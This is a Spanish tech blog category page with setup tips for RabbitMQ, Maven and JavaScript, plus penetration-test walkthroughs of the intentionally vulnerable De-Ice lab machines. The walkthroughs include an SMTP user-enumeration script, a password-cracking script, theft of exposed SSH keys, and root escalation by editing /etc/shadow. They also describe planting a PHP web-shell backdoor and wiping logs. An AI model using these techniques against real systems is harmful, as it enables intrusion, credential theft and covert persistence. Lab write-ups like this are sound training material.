RSS

Archivo de la categoría: prácticos

Instalando RabbitMQ

Hoy vamos a dejar un poco de lado la programación y vamos a instalar un instancia de RabbitMQ para poder hacer un par de cosillas con ella. Para el que no lo sepa, RabbitMQ es un sistema de comunicación basado en mensajes, lo cual nos permite enviar (productor) tareas a una instancia de RabbitMQ para que una aplicación (consumidor) las procese.

Yo voy a instalar el sistema en un servidor CentOS pero los pasos son extensibles para cualquier plataforma Linux y, supongo, no distarán mucho de una plataforma Windows.

Para empezar tenemos que instalar en nuestra máquina una versión reciente de Erlang (un lenguaje de programación). En CentOS, al menos, a día de hoy, con el paquete que viene incluido en la distribución nos bastará. En otras plataformas podéis ir directamente a la página de Erlang y descargar de allí la última versión.

Tras esto, nos dirigimos a la página de RabbitMQ y descargamos el archivo para su instalación.

Hasta aquí, todo bastante trivial y yo creo que nada requiere más explicación.

Lo siguiente que vamos a hacer, es permitir que arranque cuando nuestro sistema arranque. Para conseguir esto ejecutaremos:

sudo chkconfig rabbitmq-server on

Tras esto, podremos arrancar y parar la instancia de RabbitMQ con los comandos:

sudo service rabbitmq-server stop
sudo service rabbitmq-server start

Si estamos en un entorno controlado, en este punto haríamos bien en abrir el puerto 5672 si queremos tener acceso la instancia de RabbitMQ.

Lo siguiente que vamos a crear para accere remotamente es un usuario. En este caso el usuario se va a llamar “rabbit” y el password va a ser “rabbit1“. Para ello bastará con ejecutar el comando:

sudo rabbitmqctl add_user rabbit rabbit1

Lo siguiente será asegurarnos de que el usuario tiene suficientes permisos para que no nos de problemas. Para ello ejecutaremos:

sudo rabbitmqctl set_permissions rabbit ".*" ".*" ".*"

Lo último que nos falta es activar una pequeña interfaz gráfica para poder monitorizar un poco nuestra instancia. Para ello vamos a activar uno de los plugins de RabbitMQ.

sudo rabbitmq-plugins enable rabbitmq_management

En este punto, de nuevo, si estamos en un entorno controlado, necesitaremos abrir el puerto 15672.

Si lo hemos hecho todo correctamente, tan solo necesitaremos rearrancar nuestra instancia para, a partir de este momento, podremos acceder a la interfaz gráfica con la siguiente URL:

http://servername:15672

Si todo ha ido bien, nos aparecerá una pantalla pidiendonos los credenciales de acceso, recordemos “rabbit/rabbit1” y, tran introducirlos, poder acceder a la interfaz de RabbitMQ.

Hasta aquí por hoy. Nos vemos.

Anuncios
 
2 comentarios

Publicado por en 3 septiembre, 2014 en prácticos

 

Añadir una libraría a nuestro repositorio maven

Aunque muchas veces lo parezca, maven no tiene todas las librerías que podamos necesitar, generalmente por problemas de licencias y demás, o simplemente, si queremos añadir a nuestro repositorio local una librería que hemos creado nosotros mismos para poder utilizarla en otros proyectos, en ambos casos, podemos instalar de forma manual dicha librería en nuestros repositorios locales.

¿Qué necesitamos para ello? Nada más fácil, la librería, un pequeño comando de consola, y saber un poco que estamos haciendo, que es lo que pretendo explicar en este artículo.

Imaginemos que como librería para el ejemplo vamos a utilizar una llamada “example-1.0.jar”, y que dicha librería es la que queremos añadir a nuestro repositorio local.

El comando a ejecutar, es tan simple como:

mvn install:install-file -Dfile=<libraryName> -DgroupId=<groupId> -DartifactId=<artifactId> -Dversion=<version> -Dpackaging=jar

Como veis es bastante simple, y cualquiera ligeramente familiarizado con maven puede reconocer que son cada uno de los parámetros, ya que son los habituales datos que rellenamos cuando añadimos las dependencias en nuestro “pom.xml”.

Con nuestra librería ejemplo, esto quedaría algo así:

mvn install:install-file -Dfile=example-1.0.jar -DgroupId=org.example -DartifactId=example -Dversion=1.0 -Dpackaging=jar

Tras esto, solo tendríamos que ir a nuestro proyecto e incluir la dependencia de la forma habitual:

<dependency>
    <groupId>org.example</groupId>
    <artifactId>example</artifactId>
    <version>1.0</version>
</dependency>

Y con esto ya estaríamos. Nos vemos.

 
Deja un comentario

Publicado por en 8 agosto, 2014 en prácticos, programación

 

De-Ice III: Desarrollo práctico (Post largo)

Hoy vamos a dedicarnos a hacer otro ejemplo práctico de test de penetración. Para ello, vamos a utilizar la versión 2.100 del entorno De-Ice del cual ya hemos visto algún ejemplo con anterioridad. La imagen ISO del entorno la podéis encontrar aquí y, al igual que las veces anteriores, es un Live CD que podéis montar como máquina virtual en algún entorno que tengáis. Yo en mi caso, lo he hecho sobre VirtualBox.

Lo primero antes de empezar, una pequeña recomendación que consiste en que para montar este entorno de forma fácil, vuestro servidor de DHCP tendrá que dar direcciones en el rango 192.168.2.0/24, ya que el Live CD cogerá la 192.168.2.100 y la 192.168.2.101.

Sin más que añadir, vamos a empezar con nuestra andadura. Si tenéis algún problema con la configuración del entorno, preguntad e intentaremos echaros una mano. Pero no considero necesario entrar aquí en detalle sobre esto, ya que hay multitud de tutoriales y manuales en internet sobre como configurar máquinas virtuales.

Añadir que yo voy a hacer todo el test desde la distribución Kali (sucesora de Backtrack), y que todas las herramientas que voy a nombrar aquí están incluidas en ella, no tendréis que instalar nada más, como mucho desarrollaremos algún pequeño script.

El primer paso tras montar el entorno, es comprobar que las máquinas están efectivamente ahí, para lo que podemos ejecutar el comando “netdiscover”:

netdiscover -r 192.168.2.0/24

 

_____________________________________________________________________________
 IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
....
192.168.2.100 08:00:27:01:b2:cb 01 060 CADMUS COMPUTER SYSTEMS
192.168.2.101 08:00:27:01:b2:cb 01 060 CADMUS COMPUTER SYSTEMS
....

Para respetar el orden en que se haría una auditoría o pentest a nivel profesional, el siguiente paso sería el de recogida de la información (information gathering), así que vamos a conectarnos a través del navegador a dichas direcciones IP para ver que encontramos.

Navegando por ellas encontramos una página interesante con un listado de trabajadores y sus correos electrónicos que nos puede ser útil para generar una posible lista de usuarios que podrían estár en el sistema. Además, encontramos varios documentos con información sobre la empresa y procedimientos, pero yo de ellos no he sacado nada en claro, así que me voy a quedar simplemente con la págína que contiene los correos electrónicos de los trabajadores:

http://192.168.2.100/index2.html

En el siguiente paso vamos a proceder al escaneado de las máquinas a ver que puertos están abiertos y que servicios nos ofrecen. Como no tenemos que preocupanos de dejar registros o no, vamos a usar NMap de forma agresiva:

nmap -sV -T Aggressive -O 192.168.2.100

 

....
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.4
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp Sendmail 8.13.7/8.13.7
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW imapd 2004.357
443/tcp closed https
MAC Address: 08:00:27:01:B2:CB (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 - 2.6.32
....

 

nmap -sV -T Aggressive -O 192.168.2.101

 

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
MAC Address: 08:00:27:01:B2:CB (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 - 2.6.32, Linux 2.6.16

Tras esto, vemos que la máquina más interesante, a priori, parece ser la primera de ellas ya que es la que más servicios y puertos abiertos ofrece.

Con unas cuantas pruebas, vemos que los intentos de acceso anónimo son poco fructíferos, así que vamos a ver si podemos encontrar usuarios válidos del sistema.

Partiendo del listado de correos que encontramos antes vamos a generar una lista de usuarios posibles y a probarlos contra smtp (algo parecido a lo que hicimos en el entorno anterior). Para ello podríamos usar la herramienta “smtp-enum-users” o simplemente un pequeño script hecho en python (o cualquier otro lenguaje que manejéis). En este caso el script será el siguiente:

import getpass, sys, telnetlib
print "Starting users validation..."
host = "192.168.2.100"
port = 25
user_dic = "users.txt"
tn = telnetlib.Telnet(host, port)
tn.write("hello x" + "\n")
tn.write("mail from: admin@slax.example.net" + "\n")
print tn.read_until("Sender ok", 1)
inp = open(user_dic, "r")
for user in inp.readlines():
    tn.write("rcpt to: "+ user)
    print tn.read_until("User unknown", 0.1)
inp.close()
tn.write("quit" + "\n")
print "End process."

Y los resultados, una vez descartados los inválidos, serán los siguientes:

root
havisham
magwitch
pirrip

El siguiente paso que yo he seguido, es el de poner en funcionamiento herramientas como THC-Hydra o Medusa para intentar sacar por fuerza bruta alguna contraseña débil para poder conectar a los servicios de FTP o SSH. Pero, tras un tiempo que yo he considerado suficiente, esta técnica de fuerza bruta no me ha devuelto ningún resultado. Así que vamos a tener que tomar otro camino, ya que, a primera vista, no parece haber contaseñas débiles en el sistema.

El siguiente paso lógico, es ver si podemos encontrar alguna vulnerabilidad que podamos explotar para conseguir el acceso a este, así que con esta idea en mente, vamos a ejecutar Nikto. El cual es un conocido escáner de vulnerabilidades.

nikto -host 192.168.2.100

En los resultado podemos ver que se nos informa de cosas no actualizadas y de algún directorio que parece accesible en el servidor, pero de nada demasiado serio.

Así que vamos a probar con la otra máquina:

nikto -host 192.168.2.101

Aquí, además de la información sobre cosas no actualizadas, sí que encontramos información bastante interesante:

....
+ OSVDB-3268: /~root/: Directory indexing found.
+ OSVDB-637: /~root/: Allowed to browse root's home directory.
....

Y es que, una carpeta de usuario parece estar accesible a través de el navegador. Tras una rápida prueba podemos comprobar que esta información es correcta, aunque en el directorio no encontramos nada. Pero este hallazgo nos puede hacer pensar que, quízas, el resto de carpetas de usuarios también puedan ser accesibles.

Así que haciendo uso de Nickto otra vez, vamos a probar con las carpetas de los usuarios válidados para el sistema:

nikto -h 192.168.2.101 -r ~havisham/ -Display 124
nikto -h 192.168.2.101 -r ~magwitch/ -Display 124
nikto -h 192.168.2.101 -r ~pirrip/ -Display 124

Tras echarle un vistazo a los resultado, vemos que para el usuario “pirrip” nos devuelve un resultado positivo para el directorio “.ssh”. Vamos a nuestro navegagor, accedemos a esta ruta, y en ella encontramos dos ficheros que, a priori, parecen las llaves de acceso para la conexión ssh. Con esto, procedemos a la descarga para su análisis:

wget http://192.168.2.101/~pirrip//.ssh/id_rsa
wget http://192.168.2.101/~pirrip//.ssh/id_rsa.pub

Echamos una ojeada a su interior y…efectivamente son las llaves de acceso para el usuario pirrip. Así que con esto, vamos a intentar conectarnos como si fueramos él.

Creamos nuestro directorio “.ssh”, copiamos los dos ficheros dentro, les modificamos los permisos a “000” (la primera vez no lo hice y ssh te muestra un error con esto) y intentamos conectar:

ssh pirrip@192.168.2.100 --> OK

Estamos dentro.

El siguiente paso es intentar escalar privilegios en el sistema y conseguir acceso como superusuario, así que vamos a explorar los fichero habituales de contraseñas y grupos:

cat /etc/passwrd --> OK

 

pirrip:x:1000:10:Philip Pirrip:/home/pirrip:/bin/bash

 

cat /etc/group --> OK

 

wheel::10:root

 

cat /etc/shadow --> ERROR

 

cat: /etc/shadow: Permission denied

Afortunadamente, en el fichero de grupos, hemos podido ver que podemos ejecutar el comando “sudo”, así que lo intentamos de nuevo:

sudo cat /etc/shadow --> ERROR

Necesitamos la contraseña obviamente, y no la tenemos ya que accedimos con las llaves digitales.

Dado que por aquí parece que encotramos la puerta cerrado vamos a explorar un poco el sistema a ver que encontramos. Miraremos los habituales directorios interesantes: /tmp, /var/*, directorios de otros usuarios, todo lo accesible.

En el directorio de “/var/mail/” parece que encontramos algo, ya que vemos que están disponibles los emails de varios usuarios. Así que vamos a proceder a leer los nuestros (pirrip):

mailx

Vemos que tiene siete, pero sin duda los más interesantes son el número 3 y el número 7.

En el número 3, nos indica que el password de “havisham” es “changeme”. No entiendo como no lo hemos podido sacar por fuerza bruta anteriormente.

En el número 7, encontramos nuestro password en texto plano: “0l1v3rTw1st”. Normal que nuestros intentos de fuerza bruta hayan fallado.

De nuevo con el password en nuestro poder, intentamos abrir el fichero “shadow”:

sudo cat /etc/shadow --> ERROR

 

Sorry, user pirrip is not allowed to execute '/usr/bin/cat /etc/shadow' as root on slax.

Afortunadamente, existen muchos más editores en el sistema y tras dos o tres intentos, podemos comprobar que “more” y “vi” si que pueden ser ejecutados por nuestro usuario.

Esta vez sí:

root:$1$/Ta1Q0lT$CSY9sjWR33Re2h5ohV4MX/:13882:0:::::
....
pirrip:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::

Aquí tenemos dos opciones, poner a trabajar a John the Ripper o, ya que tenemos permisos de edición sobre el fichero, copiar nuestra contraseña que conocemos en el usuario root. Siendo esta segunda más simple y más rápida, y viendo el resultado obtenido con la fuerza bruta anteriormente, nos decantaremos por esta.

El siguiente paso, una vez que somos usuario root, es acceder a su carpeta personal, a ver si hay algo interesante guardado allí.

Tras explorar un rato, encontramos un fichero que parece interesante “great_expectations.zip”, así que lo bajamos a nuestra máquina para explorarlo tranquilamente.

chmod -R 777 /root/ (máquina objetivo)
scp pirrip@192.168.2.100:/root/.save/great_expectations.zip . (nuestra máquina)

Lo descomprimimos, y encontramos, además de un pdf y algunas imágenes, lo que parecen algunos datos financieros en un fichero de texto:

Here's the data for raises for your team:
Philip Pirrip: 734-67-0424 5.5% $74,224
Abel Magwitch: 816-03-0028 4.0% $53,122
Estella Havisham: 762-93-1073 12% $84,325

Sinceramente, esperaba algo más. Pero bueno, ahora que somos root podemos seguir explorando el sistema con más libertad.

Recordemos, por ejemplo, que nos quedaban email de otros usuarios por leer, así que vamos a ello.

Los más interesantes parecen los del usuario “havisham” en los que se nombra que el servidor FTP tiene algún problema de configuración, y además, podemos encontrar un correo en el que solicitar el password de root.

En el resto de correos no aparece nada interesante, el único dato a tener en cuenta, es que una tal “Estela” está al cargo. Quizás uniendo el email encontrado en los correos de “havisham” y esto podamos mandar un correo suplantando la identidad y solicitando el password, algo de ingeniería social.

Otro punto interesante al que llegamos explorando el sistema, es que en el servidor apache, podemos encontrar el fichero “.htpasswd” con un registro en su interior:

aadams:bS.PQ9hVYEqrQ

Buscando un poco algo sobre esto, el formato de lo que parece ser unos credenciales y leyendo algo, uno puede llegar a la conclusión de que, efectivamente son unos credenciales con el formato: <user>:<salt><ciphertext>, y que se han creado con una función llamada “crypt()”. Así que, si nos hemos recuperado ya de nuestro anterior fracaso con la fuerza bruta, podemos implementar un pequeño script en python para intentar obtener la clave:

import crypt, sys
wordlist = "wordlst.txt"
htfile = "htaccess.txt"

for line in open(htfile):
    user = line.split(":")[0].strip()
    ciphertext = line.split(":")[1].strip()
    salt = ciphertext[:2]
    print "ciphertext:", ciphertext
    print "salt:", salt
    for word in open(wordlist):
        guess = crypt.crypt(word.strip(), salt)
        if guess == ciphertext:
            print " * password for %s is %s" % (user, word.strip())
            sys.exit(0)

Tras un rato, la contraseña que obtenemos es “complexi”.

Y bueno, hasta aquí todo. Nos vemos.

 
Deja un comentario

Publicado por en 2 noviembre, 2013 en prácticos

 

Búsqueda en tabla: HTML – JavaScript

Algo que está claro es que un desarrollador tiene que valer para todo y aunque sea de back-end poder hacer cosas de front-end. Pues hoy ha sido uno de esos días. Así que, aunque es una chorrada, voy a poner aquí el código para buscar en una tabla de HTML de resultados con JavaScript. El campo de texto nos permite buscar en todos los campos de la tabla, excluyendo la cabecera claro.

<html>
	<head>
		<title>Table search: HTML - JavaScript</title>
	</head>
	<body>
		<script language="javascript">
			function doSearch() {
				var tableReg = document.getElementById('regTable');
				var searchText = document.getElementById('searchTerm').value.toLowerCase();
				for (var i = 1; i < tableReg.rows.length; i++) {
					var cellsOfRow = tableReg.rows[i].getElementsByTagName('td');
					var found = false;
					for (var j = 0; j < cellsOfRow.length && !found; j++) {
						var compareWith = cellsOfRow[j].innerHTML.toLowerCase();
						if (searchText.length == 0 || (compareWith.indexOf(searchText) > -1)) {
							found = true;
						}
					}
					if (found) {
						tableReg.rows[i].style.display = '';
					} else {
						tableReg.rows[i].style.display = 'none';
					}
				}
			}
		</script>

		<input id="searchTerm" type="text" onkeyup="doSearch()" />
		<table id="regTable">
			<tr><td>Id</td><td>Name</td><td>Surname</td><td>Gender</td><td>Age</td></tr>
			<tr><td>1</td><td>John</td><td>Doe</td><td>M</td><td>30</td></tr>
			<tr><td>2</td><td>Jane</td><td>Doe</td><td>F</td><td>31</td></tr>
			<tr><td>3</td><td>Will</td><td>Smith</td><td>M</td><td>25</td></tr>
			<tr><td>4</td><td>Bill</td><td>Gates</td><td>M</td><td>56</td></tr>
		</table>
	</body>
</html>

Lo único digno de mención en el código son los contadores i y j que corresposden con filas y columnas respectivamente. En el caso del contador i empieza en uno para evitar que se busque en la cabecera de la tabla. ¿Habrá otras formas de hacerlo? Seguro ¿mejores o peores? Probablemente de las dos, pero es una forma y aquí queda para futuras ocasiones. Nos vemos

 
20 comentarios

Publicado por en 9 mayo, 2013 en prácticos

 

De-Ice II – Desarrollo práctico (Post largo)

Este post consistirá en la realización de un test de penetración para el entorno De-Ice II que podemos encontrar en la página del proyecto Sec-Track. Para el que no sepa que es esto, le remito al primer post de esta serie (los podéis encontrar en la categoría “prácticos” de este blog) o a la página del propio proyecto Sec-Track, el cual es muy recomendable y tiene cosas muy interesantes. Si no habéis realizado la primera parte (De-ICE I) os recomiendo que empecéis por ella, ya que habrá cosas que veremos en este entorno que se explicaron ampliamente en la primera parte.

Es esta ocasión, el escenario es el siguiente:

Una pequeña empresa te contrata para que realices un Test de Penetración avanzado. El administrador de sistemas de dicha empresa dice haber reconfigurado el sistema para hacerlo muy seguro. Espera que usted intente por todos los medios posibles de vulnerar el sistema, pues está seguro de que es invulnerable. Este sistema es un servidor FTP utilizado para crear y restaurar copias de seguridad de los diferentes sistemas. Dice además que no hay información sensible y que dicho sistemas alguna vez fue utilizado por un cliente para transferencias de información, pero que esta ha sido eliminada.

Por mi parte en este post voy a explicar los pasos que yo seguí para resolver el reto, y haré referencia a las explicaciones de Sec-Track cuando lo considere necesario.

Pues nada, manos a la obra. Lo primero, obviamente, es arrancar nuestra máquina virtual con el Live CD correspondiente al entorno. En caso de tener alguna duda de cómo configurarlo, en el proyecto Sec-Track se explica como configurar el entorno para VMWare y Qemu. Para el resto de plataformas de virtualización es muy similar, yo lo tengo instalado en Parallels sin ningún problema.

El ataque o test de penetración lo vamos a realizar desde el punto de vista externo, es decir, no vamos a tener un puesto en la red interna, ni ningún tipo de privilegio como pudiera tener alguna persona perteneciente a la organización.

Lo primero será realizar un escaneo de nuestra red para saber la IP que posee la máquina en cuestión. Si habéis realizado bien todos los pasos en la configuración, el resultado obtenido tendría que ser similar a este:

~#nmap –sP 192.168.1.1-255
Starting Nmap x.xx ( http://nmap.org ) at yyyy-mm-dd hh:mm CET
Nmap scan report for example.org (192.168.1.1) <- router
Host is up (0.0040s latency).
Nmap scan report for 192.168.1.3 <- nuestro ordenador
Host is up (0.00048s latency).
Nmap scan report for 192.168.1.110 <- De-ICE II
Host is up (0.0022s latency).
Nmap done: 255 IP addresses (X hosts up) scanned in 15.12 seconds

Este paso en un test real, no deberíamos realizarlo ya que tendríamos la IP del objetivo, pero aquí no está demás para comprobar que todo está bien configurado.

Una vez comprobado que la máquina existe y posee una IP válida, vamos a conectar desde nuestro navegador a su página web para ver que nos puede ofrecer.

En esta ocasión, la página web es bastante escueta. Podemos ver un pequeño encabezado, un pequeño texto y varias direcciones de correo. En este caso, si nos fijamos, todas ellas son de administradores. Al igual que en el primer entorno desarrollado, podemos formar combinaciones con los nombres para tratar de encontrar usuarios válidos para pruebas de acceso que realizaremos posteriormente. A parte de esto, poca información más nos va a dar esta página.

El siguiente paso es ver que nos ofrece el entorno objetivo, es decir, que servicios tiene abierto y accesibles desde el exterior. Para ello vamos a realizar un escaneado de puerto:

~#nmap 192.168.1.110
Starting Nmap x.xx ( http://nmap.org ) at yyyy-mm-dd hh:mm CET
Nmap scan report for 192.168.1.110
Host is up (0.012s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
631/tcp open  ipp
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds
Como podemos ver, la máquina objetivo tiene varios servicios a disposición de los usuarios, y nuestra claro.

También podemos ejecutar la instrucción:

~# nmap -sV -p 21,22,80,631 192.168.1.110

Con ella podemos obtener más información sobre los servicios que están corriendo, como versiones, aplicaciones, etc…

Starting Nmap 5.21 ( http://nmap.org ) at 2010-12-10 10:36 CET
Nmap scan report for 192.168.1.110
Host is up (0.00092s latency).
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 2.0.4
22/tcp  open  ssh?
80/tcp  open  http    Apache httpd 2.2.4 ((Unix) mod_ssl/2.2.4 OpenSSL/0.9.8b DAV/2)
631/tcp open  ipp     CUPS 1.1
Service Info: OS: Unix

El único puerto sobre el que no hemos podido averiguar datos es el 22, pero bueno, esto de momento, no nos tiene que preocupar.

Lo más normal ahora, sería lanzar un escáner de vulnerabilidades como nessus o alguna herramienta similar o de recolección de información, pero yo en muchas ocasiones, antes de entrar en faena y consumir tanto tiempo, prefiero hacer las pruebas más evidentes, y oye, a veces hasta funcionan. En este caso, la prueba tonta, es conectarse al servidor ftp y probar si se puede acceder anónimamente a él:

~# ftp 192.168.1.110
Connected to 192.168.1.110.
220 (vsFTPd 2.0.4)
Name (192.168.1.110:svoboda): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Pues nada, parece que ha habido suerte y hemos conectado. Si esto hubiera fallado, tendríamos que habernos puesta ya a la faena y utilizar herramientas para comprobar vulnerabilidades, o hacer ataques de fuerza bruta a ver si podemos entrar o similares. Pero, una vez más, se demuestra que el eslabón más débil de la cadena es el ser humano, en este caso, un administrador confiado o despistado, que no ha inhabilitado el acceso anónimo.

El siguiente paso es explorar el árbol de directorios que está nuestra disposición para ver si encontramos algo útil.

Por mi parte, yo he encontrado dos ficheros útiles localizados en el directorio “/etc”. Estos son:

core

shadow

El que más llamó mi atención es el fichero shadow, ya que como imagino sabréis es una forma de almacenar los passwords del sistema en *unix. Tras verlo, lo primero que hice fue bajármelo y utilizar la herramienta “John the Ripper” para ver si conseguía sacar parejas de usuario/contraseña válidos. De todo esto se habló, en el desarrollo del primer entorno.

[Esto último, fue un grave fallo mío, y una pérdida de tiempo por mi parte. Tras terminar de pasarle el primer diccionario y no obtener resultados me puse a revisar el fichero que me había bajado y a buscar los usuarios que previamente habíamos conseguido y formado a través de nuestra visita a la página web. Para mi sorpresa, no encontré ninguna de las combinaciones que había formado. Teniendo en cuenta, que el ftp se utiliza para realizar copias de otros sistemas, probablemente el fichero sea de otro sistema y nos de este. Mi fallo, dejarme llevar por lo evidente. Nota mental: No suponer nada nunca.]

Después de este tiempo perdido, y de la lección aprendida, vamos a examinar el otro fichero interesante que hay, el core. Si abrimos este fichero directamente, obviamente, no veremos nada. Pero para eso tenemos la herramienta “strings” en sistemas *unix.

~#strings core

Con esto podremos ver variables locales, información varia del sistema en el momento del fallo y, al final, encontraremos unas líneas con el formato de un fichero de passwords de *unix. Y esta vez si, con los usuarios que estábamos buscando (no volvamos a cometer el mismo error dos veces). Con esto podemos lanzar al amigo “john” y esperar resultados.

Depende de los diccionarios que empleéis, encontraréis más o menos resultados. Yo el primero que obtuve es el de root, pero desafortunadamente, tras varios intentos de conexión “ssh” me di cuenta de que este no posee acceso remoto. Finalmente, dos diccionarios después, conseguí otro usuario y su password y pude conectar. Una vez dentro del sistema, con el comando “su”, ya podemos hacer superusuario con todos los privilegios que esto conlleva.

El siguiente paso, es explorar el sistema a ver si podemos encontrar algo que merezca la pena. Ya sabéis con “ls –la” o como más os guste.

Tras un rato de buscar, encontramos en “/home/root/.save” un interesante fichero llamado “copy.sh” que cifra a través de “openssl” (podéis ver un artículo en este mismo blog sobre ello) algo que se localiza en “ftp/incoming” y que se salva en este directorio con al extensión “.enc”. En el propio directoria ya existe un fichero con esta extensión, pero si lo listamos, veremos que no podemos entender absolutamente nada. Lo que tenemos que hacer, ya que sabemos como se cifra es descifrarlo con “openssl”:

root@slax:/home/root/.save# openssl enc -d -aes-256-cbc -salt -in customer_account.csv.enc -out customer_account.csv -pass file:/etc/ssl/certs/pw

Tras esto podremos visualizar el fichero en texto plano y ver clientes, y tarjetas de crédito.

El último paso, es garantizarnos el fácil acceso para otras ocasiones. Pero como esto es igual que en el entorno anterior, no vamos a entrar aquí.

Una vez llegado hasta aquí, os recomiendo visitar la página correspondiente a la resolución de este entorno en el proyecto Sec-Track:

Network mapping, port scanning

Recopilación de información, escaneo de vulnerabilidades

Acceso al sistema y elevación de privilegios

Información confidencial y backdoors

En estos cuatro artículos ellos desarrollan, no solo en entorno como he hecho yo, si no que además, intentan introducir dentro de un marco de metodología, algunas herramientas.

Espero que os sirva. Como siempre, animaros a poner dudas o comentarios. Nos vemos.

 
Deja un comentario

Publicado por en 10 diciembre, 2010 en prácticos

 

De-Ice I: Desarrollo práctico (III de III)

Anterior: De-Ice I: Desarrollo práctico (II de III)

Nos conectamos al sistema mediante SSH con la combinación de usuario y contraseña que hemos obtenido. Nuestro siguiente objetivo será la escalada de privilegios.

Para esto, algo muy interesante suele ser consultar estos tres ficheros, si se puede. En este caso si.

–       /etc/passwd -> Usuarios, grupos, …

–       /etc/shadow -> Usuarios y passwords cifrados

–       /etc/sudores -> Grupos y permisos

Aquí podemos observar que el usuario con el que hemos conseguido acceso, pertenece a un grupo “wheel” que tiene permiso para la ejecución de unos pocos comandos como “root”. Entre ellos el comando “cat”, con el que hemos podido leer los ficheros nombrados anteriormente.

A partir de aquí, la idea es escalar privilegios. En la página del proyecto Sec-track (2), explican un método en mi opinión algo complejo, aunque sin duda muy imaginativo he interesante de leer. Pero yo por mi parte me decante por intentar algo más simple. Para ello, ya que tenía en pantalla el contenido del fichero “/etc/shadow”, lo copie a mi ordenador y en él lance la herramienta “John The Ripper”, la cual en poco tiempo me sacó la contraseña de “root”. Con lo cual ya tenemos acceso completo al sistema.

Una de mis motivaciones para utilizar John en mi máquina, y que no me termine de convencer el método de Sec-track, es el tiempo de conexión al sistema remoto y el uso de CPU en el sistema remoto. Estás dos cosas son elementos que puede hacer que nos detecten. Cuanto más tiempo estemos conectados, es más fácil que alguien se de cuenta de que estamos ahí. Y cuanta más CPU o tiempo de CPU usemos igual. Así que yo me decanté por conectarme, sacar el contenido de fichero y crackearlo en mi máquina.

Finalmente, solo nos queda conservar el acceso, es decir, instalar una puerta trasera, para lo cual yo me he decantado, ya que hay un servidor web levantado, por instalar una shell remota al estilo de “c99” o algo similar.

Del mismo modo que antes, me he conectado al sistema, he ido a la ruta del servidor web, en este caso la por defecto, “/var/www/” y allí he copiado el script de PHP con la shell remota.

De nuevo, en el proyecto Sec-Track, porponen hacerlo con Nectcat, pero esto implica tener un proceso desplegado en la máquina que cualquier administrador puede encontrar, así que en este caso, y siempre en mi opinión, es preferible la shell remota mediante el uso del servidor web.

Ya solo nos faltaría eliminar todo nuestro rastro de logs de conexiones y similar, pero vamos, teniendo al usuario “root” a nuestra disposición esto no debería ser muy difícil.

Pues ya esta. Como podéis ver, métodos para hacer estos hay muchos, yo solo me he decantado por uno que dejara los menos rastros posibles en la máquina atacada, siempre en mi opinión (ni mucho menos soy un experto). Estar poco tiempo conectado al host remoto, usar lo menos posible su CPU, y las conexiones de Medusa, inevitables, eliminarlas una vez tengamos acceso como “root”.

Espero que os divirtáis con el entorno. Y si tenéis dudas, ya sabéis, dejad un comentario o poneros en contacto conmigo.

Se que quizás, para gente que no tenga mucha experiencia en esto o que este empezando, habrá cosas que no haya entendido. Estas personas, que no se preocupen ni desanimen. Les animo a buscar aquello que no han entendido por su cuenta, y después, la idea de estos artículos sobre prácticas y entornos, es describir a partir de ellos cosas más especificas. Por ejemplo, aquí se explica THC-Hydra y Medusa, y algo que se explicará en próximos artículos en “John The Ripper”. De esta forma, esperemos avanzar al siguiente entorno con todo bien aprendido.

Un saludo a todos. Nos vemos.

 
10 comentarios

Publicado por en 10 mayo, 2010 en prácticos

 

De-Ice I: Desarrollo práctico (II de III)

Anterior: De-Ice I: Desarrollo práctico (I de III)

El siguiente paso es explorar un poco la red, o en este caso el servidor atacado, ya que la red es la nuestra.

Para esto lo primero que se nos ocurre es lanzar un ping para localizar la máquina. Pero al lanzar este no obtenemos respuesta. De lo que deducimos que deben de estar bloqueadas en el servidor las respuestas ICMP.

Lo siguiente que procedemos es a escanear el servidor a ver si comprobamos que hay en él:

nmap -sV -p 7,21,22,23,25,79,80,1433,8080,1521,3306,10000,5900 192.168.1.100

Donde –sV nos ayuda a sacar las versiones de cada servicio levantado, y –p le indica los puerto que queremos consultar. ¿Por qué la especificación de puerto? Especificándolos conseguimos que aunque estén filtrados aparezcan en el escaneo. Al lanzar el escaneo sin especificar puertos, la mayoría de los puertos que tiene servicios pero los tienen filtrados no devolverían resultados. ¿Por qué estos puertos? Bueno, lo normal es coger una lista de puertos que tengamos por ahí y escoger los que pensemos que pueden estar: SSH, Apache, MySQL, smtp, POP3, etc…

Con este escaneo deberéis recibir una respuesta similar a la siguiente:

7/tcp     filtered echo

21/tcp    open     ftp              vsftpd (broken: could not bind listening IPv4 socket)

22/tcp    open     ssh              OpenSSH 4.3 (protocol 1.99)

23/tcp    filtered telnet

25/tcp    open     smtp?

79/tcp    filtered finger

80/tcp    open     http             Apache httpd 2.0.55 ((Unix) PHP/5.1.2)

1433/tcp  filtered ms-sql-s

1521/tcp  filtered oracle

3306/tcp  filtered mysql

5900/tcp  filtered vnc

8080/tcp  filtered http-proxy

10000/tcp filtered snet-sensor-mgmt

Service Info: OS: Unix

